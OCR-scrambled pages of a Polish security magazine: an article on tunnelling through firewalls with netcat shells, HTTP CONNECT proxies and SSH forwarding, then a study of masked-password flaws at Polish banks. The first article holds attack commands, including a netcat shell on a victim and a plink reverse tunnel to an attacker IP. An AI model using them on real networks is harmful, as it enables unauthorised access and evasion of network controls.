khozzy@khozzy-laptop:~$ nc -nvv 85.64.228.230 8888
(UNKNOWN) [85.64.228.230] 8888 (?) open
CONNECT 85.64.226.117:3030 HTTP/1.0
Ofiara : 85.64.226.117 (shell
nasłuchujący na porcie 3030)
Proxy : 85.64.228.230 (proxy
nasłuchujące na porcie 8888)
Na komputerze ofiary nasłuchuje shell. Ze
względów bezpieczeństwa nie możemy
połączyć się z nim bezpośrednio.
Wykorzystamy do tego celu pośrednika
– proxy. Dokonamy przekierowania
połączenia za pomocą metody CONNECT
protokołu HTTP. Zwróćmy szczególną
uwagę na przykład zastosowania tej
techniki – Listing 4.
Na komputerze ofiary sytuacja
przedstawia się tak:
C:\WINDOWS\system32>nc -lvp 3030 -e
listening on [any] 3030 ...
connect to [85.64.226.117] from
Microsoft Windows XP [Version 5.1.2600]
(C)Copyright 1985-2001 Microsoft Corp.
(CI)
C:\WINDOWS\system32>ipconfig
ipconfig
[85.64.228.230] 48122
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
42 HAKIN9 1/2010
Metoda tunelowania HTTP Connect
wykorzystuje serwer proxy do połączenia
się z komputerem ofiary. Pierwotne
zastosowanie tego sposobu działania
miało zapewnić możliwość tunelowania
tylko połączeń SSL, lecz bez problemów
da się je wykorzystać do całego zakresu
portów. Rysunek 3 przedstawia bieżącą
sytuację.
Przyjmijmy następujące dane:
cmd.exe
HTTP/1.0 200 Connection established
Proxy-agent: tinyproxy/1.6.3
C:\WINDOWS\system32>
Tunelowanie HTTP Connect
Intruz : 83.130.79.89
Listing 3. Proces logowania się do serwera poczty za pomocą stunnel
Connection-specific DNS Suffix
IP Address. . . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . . . . .
bardzo rzadko są w stanie podejrzeć
transmisję SSL.
Warto jak ćwiczenie spróbować
stworzyć zaszyfrowaną sesję netcata
(wskazówka: w pliku stunnel.conf należy
zmienić linię client = yes na client
= no).
.
.
.
.
:
. : 85.64.226.117
. : 255.255.255.0
. : 85.64.226.1
System rozpoznaje przychodzące
połączenie nie od intruza, lecz od
serwera proxy co było pierwotnym
założeniem.
ProxyTunnel
ProxyTunnel jest programem
umożliwiającym łączenie strumienia
wejścia i wyjścia (stdin, stdout) z
serwerem za pomocą metody HTTP
CONNECT. Automatyzuje on proces
JAK ZOSTAĆ WŁADCĄ PORTÓW
opisany w przykładzie wyżej. Aktualna
wersja aplikacji potrafi między innymi
tworzyć tunele wykorzystując proxy
HTTP oraz HTTPS, tworzyć połączenia
SSH kierowane tymi tunelami, działać
jako osobna aplikacja oczekująca na
połączenie na danym porcie, następnie
tunelując je do wyznaczonego celu.
Aby zrobić pełny użytek z programu
serwer proxy także musi sprostać
pewnym wymaganiom. Musi
obsługiwać metodę CONNECT oraz
zezwolić na przekierowanie połączenia
(niezależnie od autentykacji serwera
proxy).
Znaczna większość proxy zezwala
na połączenia tylko kilka numerów
portów. Najczęściej są to 80(http) i
443(https). Warto poświęcić chwilkę
na odkrycie pozostałych. Największe
prawdopodobieństwo mają takie jak
8000,8080,8081,8082, 119(nntp),
563(snntp). Będzie to miało duże
znaczenie przy tunelowaniu SSH. Na
razie powróćmy do poprzedniego
przykładu i wykonajmy go ponownie,
wykorzystując tym razem ProxyTunnel
– Listing 5.
Możliwości SSH
Początkowym założeniem protokołu
SSH było zwiększenie bezpieczeństwa
transmisji danych pomiędzy
komputerami. Okazało się, iż następcę
telnetu można także wykorzystać w wielu
innych sytuacjach, często niezgodnie z
wolą administratora sieci.
Na początek przeanalizujemy
prosty przykład. W naszej sieci
lokalnej dozwolone jest korzystanie
tylko z wewnętrznego serwera
POP3 i SMTP. Nie jesteśmy w stanie
normalnie odebrać swojej prywatnej
korespondencji z zewnętrznego
serwera. Aby zrealizować cel będziemy
potrzebowali osobnego komputera z
publicznym adresem IP. Dla potrzeb
tekstu wprowadzimy oznaczenia:
•
•
K _ BIURO – adres komputera
pracującego w sieci LAN (w biurze,
firmie itp.),
K _ DOM – komputer z publicznym
adresem IP (np. 85.64.226.117) do
którego mamy dostęp.
Na K _ DOM musimy zainstalować serwer
SSH (openssh – server), który będzie
nasłuchiwał na porcie 22. W pracy, w
terminalu należy wpisać:
POP _ ZEWN oraz SMTP-ZEWN są
adresami serwerów POP i SMTP, z
którymi chcemy nawiązać połączenie.
Porty 10110, 10025 można wybrać
dowolnie, należy jednak pamiętać, aby
były to liczby większe niż 1024 (mniejsze
można tworzyć tylko na prawach
roota). Adres podawany po pierwszym
dwukropku jest adresem względem
K _ DOM .
Jeśli chcielibyśmy stworzyć tunel
z domową maszyną na porcie 25
przełącznik wyglądałby tak: -L 10025:
localhost:25.
Po wykonaniu komendy jesteśmy
w stanie odbierać korespondencję
pracownik@K_BIURO:~$ ssh
[email protected] -L 10110:POP-
ZEWN:110 -L 10025:SMTP-ZEWN:25
Polecenie to rozumie się następująco:
przełącznik -L oznacza nasłuchiwanie
na lokalnym komputerze. Jego składnia
to port na którym ma nasłuchiwać SSH
: adres gdzie K_DOM ma przekazać
połączenie : numer portu docelowego
oczekującego na nasze połączenie.
Listing 5. Zautomatyzowany proces przekierowania połączenia aplikacją
ProxyTunnel
bt proxytunnel-1.6.3 # proxytunnel -a 80 -p 85.64.228.230:8888 -d 85.64.226.117:3030
Forked into the background with pid 26608
bt proxytunnel-1.6.3 # nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (http) open
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . .
Subnet Mask . . . . . . . . . . .
Default Gateway . . . . . . . . .
2:
: 85.64.226.117
: 255.255.255.0
: 85.64.226.1
C:\WINDOWS\system32>
�������������
���������������
���������
��������
�����
������������
������
�������������
Rysunek 3. Tunelowanie HTTP Connect
1/2010 HAKIN9
43
ATAK
programem pocztowym zainstalowanym
na K _ BIURO. Wystarczy że w
ustawieniach programu jako adres
poczty przychodzącej wpiszemy
localhost , port 10110. Analogicznie
wypełniamy pola z pocztą wychodzącą
(adres: localhost , port: 10025).
Technikę tę można wykorzystać
również wtedy, gdy administrator blokuje
dostęp do stron WWW.
Chcemy otworzyć w przeglądarce
wyszukiwarkę Google, która jest
blokowana, wpiszmy w terminalu:
pracownik@K_BIURO:~$ ssh
[email protected] -L 10080:
www.google.pl:80
A potem w ustawieniach przeglądarki
zmienimy ustawienia serwera proxy. Jako
adres podamy oczywiście localhost
a port 10080. Wpisując www.google.pl
w pasku adresu strona otwiera się bez
problemów. Niestety problem pojawia
się, gdy chcemy otworzyć inną witrynę.
Za każdym razem należałoby zmieniać i
wpisywać od nowa stosowne polecenia w
terminalu. Jednak i z tym problemem SSH
potrafi się uporać. Wystarczy skorzystać z
przełącznika -D. Tworzy on swojego rodzaju
dynamiczny serwer pośredniczący typu
SOCKS. Tym razem w terminalu wpisujemy:
pracownik@K_BIURO:~$ ssh
[email protected] -D 8080
Spowoduje to, iż SSH będzie
przeprowadzał nasłuch na 8080 porcie
K _ BIURO . Każda aplikacja, która
nawiąże z nim połączenie zostanie
dynamicznie przetunelowana do
K _ DOM . W praktyce oznacza to, iż
w zakładce ustawień proxy naszej
przeglądarki znajdujemy ustawienia
serwera SOCKS . Jako adres serwera
podajemy oczywiście localhost , port
8080 (jako typ serwera SOCKS wpisujemy
5). Teraz możemy korzystać z Sieci bez
ograniczeń.
Niestety zdarzyć się może również
sytuacja, gdy administrator zablokuje
port 22 standardowo odpowiadający
za usługi SSH. Jednak nie jest to
dla nas problemem. Wystarczy tylko
����������������
���������������������������
����������������������������
znaleźć inny otwarty port, np. 443
(HTTPS) odpowiadający za połączenie
z bezpiecznymi stronami WWW. Na
K _ DOM jako root edytujmy plik /etc/ssh/
sshd_config, dopisując po linii Port 22
w nowym wersie Port 443. Resetujemy
serwer komendą:
user@K_DOM:~# /etc/init.d/ssh
restart
Teraz, chcąc wykonać przedstawione
wyżej technik trzeba tylko dodać
parametr -p 443. Np.
pracownik@K_BIURO:~$ ssh -p 443
[email protected] -L 10080:
www.google.pl:80
Odwrotny tunel SSH
Ciekawą sztuczką jest odwrotny
tunel SSH. Wykorzystuje się go, aby
nawiązać połączenie z komputerem
znajdującym się w sieci lokalnej
za tzw. NAT-em. Możemy do
tego celu użyć komercjalnego
oprogramowania takiego jak Hamachi
czy gotomypc. Oba posiadają
jednak jakieś wady. Hamachi nie
posiada poprawnie działającego
linuksowego odpowiednika, co czyni
go nieużytecznym. Aby korzystać z
gotomypc trzeba płacić miesięczny
abonament. Jak widzimy najlepszym
rozwiązaniem będzie samodzielne
stworzenie takiego połączenia.
Tradycyjnie ustalmy jak wygląda
sytuacja:
•
������������������������������
������������������������������������
������
Rysunek 4. Odwrotny tunel SSH
�����
•
K _ DOC – komputer docelowy za NAT;
adres IP: 192.168.20.55 (do niego
chcemy uzyskać dostęp),
K _ ZDAL – komputer z którego
nawiązujemy połączenie; adres IP:
138.47.99.99.
W Sieci
•
•
•
•
•
•
http://www.boutell.com/rinetd/ – opis narzędzia rinetd,
http://www.stunnel.org/ – oficjalna strona Stunnel. Dostępne rozległe FAQ oraz przykłady wykorzystania,
http://pl.wikipedia.org/wiki/Hypertext_Transfer_Protocol – opis protokołu HTTP,
http://proxytunnel.sourceforge.net/ – strona domowa projektu ProxyTunnel,
http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/ – sztuczki z SSH,
http://www.marksanborn.net/howto/bypass-firewall-and-nat-with-reverse-ssh-tunnel/ – odwrotny tunel SSH.
44 HAKIN9 1/2010
•
K _ DOC (192.168.20.55)
– <<NAT>> – K _ ZDAL
(138.47.99.99)
Pierwszym krokiem jest uruchomienie
SSH na K_DOC poprzez wpisanie w
terminalu:
user@K_DOC:~$ ssh -R 25225:
localhost:22 [email protected]
Parametr -R jest odwrotnością -L . Jeśli L oznaczał prześlij lokalny port na odległy
adres to -R działa jak Prześlij odległy port
na lokalny adres. Port 25225 jest dowolny,
należy jednak pamiętać, aby był większy
niż 1024.
Na K _ ZDAL zaakceptujemy powstały
tunel, łącząc się z nim:
user1@K_ZDAL:~$ ssh -p 25225
localhost
Jesteśmy zalogowani. Kolejne serwery
połączone z K _ ZDAL , także bez
problemu mogą łączyć się z K _ DOC .
Popatrzmy na przykład:
K_DOC (192.168.20.55) – <<NAT>>
– K_ZDAL (138.47.99.99)
– Komputer Jana
Na komputerze Jana wystarczy wydać
polecenia:
jan@K_JANA:~$ ssh sourceuser
@138.47.99.99
jan@K_JANA:~$ ssh -p 25225 localhost
Przeanalizujmy jeszcze jeden scenariusz
ukazany schematycznie na Rysunku 4.
Wyobraźmy sobie, że napastnik w
jakiś sposób uzyskał reverse shella od
ofiary w nieroutowalnej sieci lokalnej.
Ofiara korzysta także z usługi zdalnego
pulpitu (TCP na porcie 3389). Agresor
zdobył login i hasło ofiary i chce
uzyskać dostęp do jego pulpitu. W tym
celu przekonfiguruje swój serwer SSH
tak, aby nasłuchiwał na 80 porcie, a
następnie tworzy tunel, w którym port
3389 jest przekierowany z komputera
ofiary do jego maszyny. Następnie
łączy się sam ze sobą (adres 127.0.0.1
czyli localhost) na porcie 3389. Tym
sposobem utworzył tunel. Patrząc z
praktycznego punktu widzenia, operację
możemy przedstawić również tak:
ofiara używa Windowsa XP, nie jest
znawcą komputerów więc nieświadomie
wykonuje polecenie
C:/>plink -l root -pw password -C -R
3389:127.0.0.1:3389 <IP-AGRESORA>
Oczywiście jest to wyidealizowana
sytuacja, gdyż przypadkowe wpisanie
takiego polecenia graniczy z cudem.
Może ono jednak zostać automatycznie
wykonane poprzez złośliwe
oprogramowanie instalujące się bez
naszej wiedzy w systemie.
Plink jest klientem SSH
przystosowanym do pracy na platformie
Microsoftu. Składnia po -R jest podobna
jak w SSH, port do umieszczenia u
agresora :lokalny adres ip :źródłowy port
do tunelowania.
Gdy polecenie zostanie wydanie,
napastnik ujrzy na swoim komputerze
nasłuchujący port RDP (3389). Może się z
nim połączyć używając aplikacji rdesktop,
podając jako adres 127.0.0.1, port 3389
tym samym łącząc się zdalnie z pulpitem
ofiary.
Podsumowanie
Artykuł ukazuje jak ciężkie jest
zaprojektowanie prawidłowo
funkcjonującej sieci lokalnej opartej
na prostym firewallu. Praktycznie
każde drobne niedopatrzenie można
wykorzystać, by uzyskać to do czego się
dąży. W artykule nacisk położony był na
zapory ogniowe bez kontroli zawartości
pakietów. Jednak osoba kreatywna
będzie potrafiła także poradzić sobie i z
tą kwestią. Kombinacja tunelu SSH oraz
ProxyTunnel pozwoli nam przedostać się
przez większość inspekcji IDS, gdyż cały
tunel będzie kapsułkowany w protokole
HTTP lub HTTPS, jednak jest to temat na
osobny artykuł.
Norbert Kozłowski
Student Automatyki i Robotyki na Politechnice
Wrocławskiej. Wolne chwile wykorzystuje na pogłębienie
wiedzy z zakresu bezprzewodowej wymiany danych,
elementów języków programowania (Perl, Python, Ansi
C). Członek grupy u-C.
Kontakt z autorem: [email protected]
1/2010 HAKIN9
45
ATAK
MARCIN KOSEDOWSKI
Maskowanie
– robisz to źle!
Stopień trudności
Hasła maskowane pozwalają na logowanie z niezaufanych
systemów. W teorii zwiększa to poziom bezpieczeństwa,
ale stosowane implementacje są dalekie od doskonałości.
Przedstawiamy typowe błędy stosowane przez polskie banki i
propozycje ich rozwiązania.
H
Z ARTYKUŁU
DOWIESZ SIĘ
jak hasła maskowane mogą
obniżyć bezpieczeństwo,
jakie błędy popełniają polskie
banki,
na co zwrócić uwagę przy
wdrażaniu haseł maskowanych.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy statystyki,
znać sposób używania
zwykłych haseł.
46 HAKIN9 1/2010
asła maskowane to prosty sposób na
zwiększenie bezpieczeństwa podczas
logowania w niezaufanych miejscach.
Ich idea polega na podawaniu tylko fragmentu
hasła zamiast całości. System ten jest
znacznie tańszy niż hasła jednorazowe, kody
wysyłane SMS-em, zdrapki czy tokeny, więc
często stosują go banki. Hasła maskowane
nie są tak skuteczne jak wspomniane
rozwiązania, ale łatwość wdrożenia czyni je
popularnymi. Niestety w trakcie implementacji
pojawia się kilka miejsc, które przy błędnym
wdrożeniu mogą skutecznie obniżyć poziom
bezpieczeństwa. Również polskie banki dały się
złapać w pułapkę haseł maskowanych.
Teoretycznie hasło maskowane pozwala na
bezpieczniejsze, niż przy użyciu zwykłego hasła,
logowanie. Użytkownik wchodzi na stronę banku
lub wykonuje połączenie telefoniczne, proszony
jest o podanie np. 1, 3, 4, 6, 7 i 9 znaku ze
swojego dziesiecioznakowego hasła, co
wystarczy do autoryzacji. Nawet jeśli fragment
hasła zostanie podejrzany lub podsłuchany
przez atakującego, to nie przyda mu się ono na
wiele. Przy kolejnej próbie logowania zostanie
on poproszony o inny zestaw znaków nazywany
maską. W teorii rozwiązanie wygląda na
bezpieczne, jednak stosowane implementacje
nie są tak dobre jak powinny. W praktyce hasła
maskowane chronią maksymalnie przed
kilkoma próbami podsłuchu lub wręcz ułatwiają
atakującym dostęp do konta.
Hasło w czterech porcjach
Mogłoby się wydawać, że odzyskanie pełnego
hasła z podsłuchanych podciągów wymaga
setek prób, jednak nie jest to prawdą. W tabeli
podano jaką liczbę logowań trzeba podsłuchać,
aby poznać całe hasło. Na pierwszy rzut oka
wydaje się, że jedyne bezpieczne wyjście
to krótka maska i długie hasło. Dla krótkich
haseł i stosunkowo długich masek (np. hasło
ośmioznakowe i pięcioznakowa maska)
zostanie ono poznane prawdopodobnie już po
3 lub 4 podsłuchanych logowaniach.
Należy jednak pamiętać, że krótki podciąg
naraża system na niebezpieczeństwa, takie
same jak krótkie, np. czteroznakowe hasło.
W szczególności ułatwiony jest atak brute
force. Z drugiej strony długie maski o długości
ponad 70% hasła prowadzą do odkrycia
całego hasła już po 2 – 3 podsłuchanych
logowaniach. Z długimi hasłami wiąże się
jeszcze jeden problem: jeśli fragment hasła
jest frazą słownikową, to domyślenie się
całości nie jest trudne. Atakujący może szybko
przefiltrować słownik, aby wyznaczyć wszystkie
słowa pasujące do poznanych liter i próbować
wszystkich pasujących fraz po kolei.
Takiego wyniku należało się spodziewać, ale
zaskakująca jest liczba logowań koniecznych
do podsłuchania. Jest ona bardzo mała i tylko
w przypadku haseł dłuższych niż 20-znakowe
i sensownej długości maski daje oczekiwaną
liczbę podsłuchów rzędu 10. Praktyka pokazuje,
HASŁA MASKOWANE
że dla banków wystarczającą granicą
uznawaną za bezpieczną są 4 logowania
w niezaufanym miejscu.
Dane w tabeli zostały wyznaczone
na podstawie prób logowania do
stworzonego na potrzeby artykułu
systemu, w którym liczba znaków w
haśle i masce były parametrami, a
maska była wybierana losowo przy
użyciu funkcji o rozkładzie jednorodnym.
Dla każdego parametru wykonano
10 000 prób podsłuchu i wyciągnięto
średnią arytmetyczną. Podane w tabeli
wyniki to średnia liczba podsłuchanych
fragmentów koniecznych do uzyskania
całego hasła. Należy dodać, że atakujący
może próbować ataku nie znając całego
hasła lub odgadywać pozostałe znaki
np. na podstawie słownika, co obniżyłoby
wartości znajdujące się w tabeli.
Jak pokazuje przeprowadzona
symulacja nawet dobrze dobrane
długości haseł i maski dają niewielką
liczbę logowań, które można
przeprowadzić z niezaufanego
miejsca. Dobór odpowiedniej maski
powinien uwzględniać zarówno ilość
podsłuchanych logowań, które dadzą
szanse na uzyskanie całego hasła jak i
rozsądna długość maski. Jak pokazuje
tabela, najlepszym wyjściem byłoby
stworzenie jak najkrótszej maski. Należy
jednak pamiętać, że krótkie ciągi (np.
trzyznakowe) są łatwe do złamania
poprzez brute force lub po prostu
odgadnięcie brakującego znaku. Z
drugiej strony maska nieco krótsza od
hasła nie ochroni go przed więcej niż
jednym lub dwoma podsłuchami. Banki
stosują zwykle maski nie dłuższe niż
połowa hasła. W przypadku długich haseł
może to być nawet 20 – 25% hasła, w
krótszych więcej.
Maska w pełni losowa?
Na bezpieczeństwo haseł maskowanych
wpływa sposób generowania maski.
Najbardziej oczywistym rozwiązaniem
jest wyznaczanie jej na podstawie
funkcji o jednorodnym rozkładzie
prawdopodobieństwa. Oznacza to,
że każda maska pojawi się z takim
samym prawdopodobieństwem bez
uwzględnienia żadnych warunków
zewnętrznych. Rozwiązanie takie stosuje
większość banków; zostało one również
użyte w systemie stworzonym na
potrzeby artykułu. Ogólnie jest to dobry
sposób tworzenia maski, o ile generator
nie bazuje na żadnym parametrze
możliwym do przewidzenia przez
użytkownika.
Modyfikacją, która teoretycznie
może podnieść poziom bezpieczeństwa
jest generowanie kolejnych masek tak,
aby ich wzajemna odległość nie była
losowa. Maski o dużej odległości to
takie, które są od siebie znacząco różne
Rysunek 1. W BPH, aby zapobiec poznaniu przez atakującego długości hasła,
pokazywany jest tylko konieczny fragment hasła. Kończy się na ostatnim znaku do
wprowadzenia
– np. dla sześcioznakowego hasła
maski przysłaniające pozycje 1, 2, 5
oraz 3, 4, 5 będą miały dużą odległość,
a 1, 2, 5 i 1, 2, 3 małą. Dzięki takiemu
rozwiązaniu kolejne maski wyświetlone
użytkownikowi będą się mocno różnić.
Z jednej strony szanse na trafienie
przy kolejnym logowaniu w tę samą
maskę, która była podsłuchana, są
minimalizowane. Z drugiej, tak losowane
maski przyśpieszają proces poznania
całego hasła.
Przeanalizujmy przykładowe
kolejne wylosowane pozycje cyfr
sześcioznakowego hasła w maskach,
które są podsłuchiwane. Maski są
wyznaczane tak, aby ich odległości były
duże
1: 1, 2, 3
2: 2, 5, 6 (odległość od poprzedniego: 2)
3: 1, 3, 4 (odległość od poprzedniego: 3)
Poznanie pierwszego fragmentu hasła
(trzy pierwsze znaki) nie daje właściwie
nic – skoro odległości są duże to
szanse na trafienie któregoś ze znanych
znaków są niewielkie. Jednak po drugim
podsłuchanym logowaniu znana jest już
większość hasła (5 z 6 znaków). Mimo to
nadal istnieje szansa, że atakujący będzie
musiał podać ostatni, nieznany znak. Dla
krótkich haseł zwiększenie odległości
nie będzie najlepszym rozwiązaniem
– ilość prób koniecznych do poznania
całego hasła znacznie spada, ale jedno
logowanie w niezaufanym systemie
można uznać za bezpieczniejsze niż
gdyby maski były całkowicie losowe.
Dla dłuższych haseł ilość bezpiecznych
logowań jest większa, ale pełne hasło
również w tym przypadku zostanie
poznane szybciej niż przy całkowicie
losowo generowanych maskach. Mimo
Rysunek 2. Maski haseł nie muszą mieć
stałej długości
1/2010 HAKIN9
47
ATAK
to, jeśli po każdej ryzykownej sytuacji
hasło byłoby zmieniane (oczywiście już w
bezpiecznym miejscu), rozwiązanie jest
warte rozważenia. Zależy ono głównie
od możliwości zmuszenia użytkowników
do zmiany hasła po każdym logowaniu
w niezaufanym systemie. Zwiększenie
odległości między kolejnymi maskami
to dobre rozwiązanie dla długich haseł i
stosunkowo krótkich masek.
W sytuacji przeciwnej, czyli zbliżonych
do siebie kolejnych maskach, hasło
zostanie poznane później, ale atakujący
może łatwo odgadnąć np. jeden nieznany
znak. W tym przypadku kolejne maski
mogłyby wyglądać następująco:
1: 1, 2, 3
2: 1, 3, 5 (odległość od poprzedniego: 1)
3: 1, 4, 5 (odległość od poprzedniego: 1)
4: 1, 3, 5 (odległość od poprzedniego: 1)
5: 2, 3, 5 (odległość od poprzedniego: 1)
6: 2, 3, 6 (odległość od poprzedniego: 1)
Poznanie całego hasła zajmie znacznie
więcej czasu, a w związku z tym liczba
dozwolonych logowań z niezaufanych
miejsc bez zmiany hasła będzie większa.
Niestety rozwiązanie to ma wadę:
zwiększa się ryzyko, że kolejne hasła będą
różniły się tylko jednym znakiem lub będą
wręcz identyczne. Jeśli wykorzystywane
są jedynie cyfry, to szanse odgadnięcia
brakującego znaku są zbyt duże. Ponadto
rosną szanse na to, że zbyt szybko pojawi
się taka sama maska (w powyższym
przykładzie kroki 2 i 4), przez co pozostałe
znaki hasła nie będą potrzebne do
(jednorazowej) autoryzacji. Jednak jeśli
hasła są krótkie, to szanse na ponowne
wylosowanie tych samych masek są
duże, nawet w przypadku losowych
masek (np. dla sześcioznakowego hasła
i trzyznakowej maski – standardowego
ustawienia w Volkswagen Bank Direct – to
aż 5%). W tym przypadku zmniejszenie
odległości może okazać się skuteczne.
Rysunek 3. ING jako dodatkowe zabezpieczenie wprowadziło klawiaturę chroniącą
przed keyloggerami
Rysunek 4. W Millenium Bank jako fragmentu uwierzytelniania używa się maski
nałożonej na numer paszportu, PESEL lub dowodu osobistego. Poważny błąd: zmiana
języka zmienia maskę!.
48 HAKIN9 1/2010
Wdrażając system wykorzystujący
hasła maskowane należy pamiętać,
że istnieją trzy sposoby generowania
masek: całkowicie losowo lub tak, aby
odległości między kolejnymi maskami
były możliwie małe albo większe. Wybór
powinien zależeć od przewidywanej
liczby niebezpiecznych logowań przed
zmianą hasła, użytymi znakami i
stosunkiem długości maski do hasła.
Każdy parametr powinien być przed
wdrożeniem przetestowany tak, aby
zapewnić klientom jak największe
bezpieczeństwo.
Banki też się mylą
Jedna maska powinna być stosowana aż
do momentu poprawnego zalogowania.
W przeciwnym przypadku (np. zmiany
maski przy każdej próbie logowania)
atakujący mógłby po prostu odczekać,
aż trafi na te znaki, które już zna. W
praktyce oznaczałoby to skrócenie
bezpiecznego, dwudziestoznakowego
hasła np. do pięciu znaków. Poprawnie
zaimplementowany system powinien
zapamiętać wygenerowaną maskę i
prosić o te same znaki aż do skutku.
Wśród polskich banków co najmniej w
dwóch przypadkach można spotkać
się ze zmianą masek. W BZ WBK
wystarczy odświeżyć stronę, aby system
poprosił o inny zestaw znaków, a Bank
Millenium, który zabezpieczył się przed
odświeżeniem, zmienia maski przy
przełączeniu języka strony.
Rozwiązanie BZ WBK może być
błędem, a Banku Millenium równie
szkodliwym niedopatrzeniem, ale nie
jest to pewne. Innym wytłumaczeniem
zmieniających się masek może być to,
że w testach wprowadzane były numery
użytkowników, którzy prawdopodobnie
nie istnieją (odpowiednio 12345678
i 1234). System może po prostu nie
przewidywać miejsca, w którym maska
byłaby zapisywana dla nieistniejących
użytkowników i za każdym razem
losowana jest nowa. Nie jest to błąd tak
duży jak tworzenie nowej maski przy
każdym (nawet nieudanym) logowaniu
prawdziwych użytkowników, ale niesie
pewne niebezpieczeństwo. Atakujący
na podstawie zachowania formularza
logowania może ustalić, które numery
HASŁA MASKOWANE
odpowiadają rzeczywistym klientom
banku, a które są fałszywe.
Zarówno w przypadku prób
wygenerowania oczekiwanej maski,
jak i wykrycia w ten sposób numerów
użytkowników system powinien blokować
dostęp do strony po kilku nieudanych
próbach. Takie rozwiązanie stosuje
np. ING, gdzie po pięciu nieudanych
logowaniach dostęp jest blokowany, a
jego odblokowanie wymaga osobistej
wizyty w oddziale banku. Może to być
uciążliwe dla użytkowników, ale pozwala
na szybkie i skuteczne wykrycie ataków.
Jak widać stosowanie haseł
maskowanych może w wyniku złej
implementacji obniżyć bezpieczeństwo
systemu. Jeśli bank dopuści możliwość
zmiany maski, to hasło zostaje po prostu
skrócone, w większości przypadków o
połowę. W takiej sytuacji atakujący może
próbować innych ataków dla prostszych
haseł niż zdefiniowane przez użytkownika.
Zmienione zachowanie dla nieiniejących
użytkowników pozwala ponadto na
wykrycie rzeczywistych numerów klientów.
Uwaga na długość!
Hasła maskowane narażone są na
łatwe poznanie ich długości, jeśli
implementacja będzie nieprzemyślana.
Najprostsza sytuacja to taka, w której
prezentowane jest całe hasło, a maska
to tylko zablokowanie niektórych pól.
Jest to najlepszy sposób do zdradzenia
długości hasła. Samo podanie loginu
prowadziłoby atakującego do poznania
tej wartości, co przyśpiesza atak brute
force lub skorzystanie z tęczowych tablic
(rainbow tables) – wystarczy badać tylko
ciągi o znanej długości.
Stosowane najczęściej rozwiązanie
to wylosowanie maski i pokazanie tylko
tylu znaków, żeby na ostatniej pozycji
znajdował się ostatni znak do wpisania.
Inne, stosowane np. przez ING to
wyświetlenie dla każdego użytkownika
większej liczby pól niż ma jego hasło.
Bank zaleca wybór hasła minimum
dziesięcioznakowego, z czego przy
logowaniu proszeni są oni o podanie 5
znaków, bez względu na długość hasła.
Należy się spodziewać, że większość
osób uzna 10 znaków za wystarczającą
długość. Bank informuje, że przy haśle
o długości 10 znaków identyczna
maska może pojawiać się stosunkowo
często, statystycznie po niespełna 300
próbach. Dzięki temu użytkownik myśli,
że jest bezpieczny – nawet jeśli ktoś
pozna fragment hasła, to będzie musiał
wykonać 300 logowań, żeby trafić na tę
samą maskę. Nieudane logowanie w
tym przypadku nie zmienia maski. Klient
nie bierze jednak pod uwagę tego, że
statystycznie już po 5 podsłuchanych
logowaniach atakujący pozna całe hasło.
Innym sposobem na ukrycie
długości hasła może być wyświetlanie
częściej pierwszych znaków, a rzadziej
znajdujących się na końcu. W tym
przypadku bardzo dużo zależy jednak
od wyboru funkcji losowej generującej
maskę o odpowiednim rozkładzie
prawdopodobieństwa. Nie może ona
pytać o ostatnie znaki zbyt rzadko, bo
mogą się one okazać nieprzydatne, ale
również niezbyt często, żeby długość
hasła rzeczywiście pozostała nieznana.
Błędna implementacja frontendu
to prosty sposób na ujawnienie
atakującemu długości hasła danego
użytkownika. W przypadku klasycznych
haseł takie niebezpieczeństwo nie
zachodzi. Ponadto jeśli nie są wyświetlane
gwiazdki (jak w systemach uniksowych),
to nawet w trakcie wpisywania hasła
przez uprawnionego użytkownika nie
można łatwo poznać długości jego
hasła – wymagany jest keylogger lub
inne złośliwe oprogramowanie. Należy
jednak profilaktycznie zakładać, że w
kawiarence lub innym ogólnodostępnym
komputerze znajduje się taki program
przechwytujący hasła. Na szczęście
większość sprawdzanych systemów,
wykorzystujących hasła maskowane,
ogranicza wyświetlane znaki do ostatniej
wymaganej do wpisania pozycji lub w
inny sposób ukrywa długość hasła.
wartością w bazie danych znajdującą się
na serwerze. Jeśli skrót wprowadzonego
hasła zgadza się z tym z bazy danych,
logowanie uznaje się za pomyślne.
Warto dodać, że znalezienie hasła, które
posiada określony, znajdujący się w bazie
hash, jest bardzo czasochłonne.
W przypadku haseł maskowanych
należałoby przechowywać hashe dla
każdego dopuszczalnego podciągu
(np. dla hasła pies i dwuznakowej
maski byłyby to pi, pe, ps, ie, is, es),
co znacząco zwiększy rozmiar bazy
danych. W bazie oprócz skrótu powinny
znaleźć się pozycje wprowadzanych
znaków. Szczególnie dużo hashy pojawi
się, jeśli stosowane są krótkie maski i
długie hasła. Samo ich przechowanie
nie stanowi dużego problemu, chociaż
wymaga większej powierzchni dyskowej.
Niesie to ryzyko wdrożenia systemu,
który będzie przechowywał hasła w
postaci czystego tekstu, co w razie
kradzieży bazy miałoby katastrofalne
skutki – należy pamiętać, że hasła
maskowane stosuje się głównie w
ważnych systemach.
Jednak nawet zahashowanie
haseł może stanowić zagrożenie.
Wygenerowanie hasła, które posiada
określony skrót w przypadku np.
dziesięcioznakowej frazy jest bardzo
czasochłonne i w praktyce wymaga
użycia złożonych tęczowych tablic,
których stworzenie trwa długo. Jeśli
w bazie przechowywane są setki
lub tysiące krótkich, powiedzmy
Baza pod szczególną
ochroną
Na bezpieczeństwo systemu wpływa
sposób przechowywania fragmentów
haseł. W przypadku zwykłego hasła
obliczana jest jednokierunkowa funkcja
skrótu, której wynikiem hash – wartość
charakterystyczna dla danego hasła
i algorytmu. Jest on porównywany z
Rysunek 5. BZ WBK udostępnia
użytkownikom wirtualną klawiaturę, ale
nie zapamiętuje maski. Wystarczy wejść
ponownie na stronę logowania, aby ją
zmienić
1/2010 HAKIN9
49
ATAK
pięcioznakowych, hashy ewentualny
atak jest znacznie prostszy. Atakujący
może stosunkowo szybko poznać
pierwszy fragment (np. pierwsze pięć
znaków), a na jego podstawie tworzyć
kolejne zmieniając tylko jeden znak.
Generując kilkadziesiąt (w zależności
od użytego zestawu znaków) nowych
skrótów szybko zdobędzie kolejne znaki
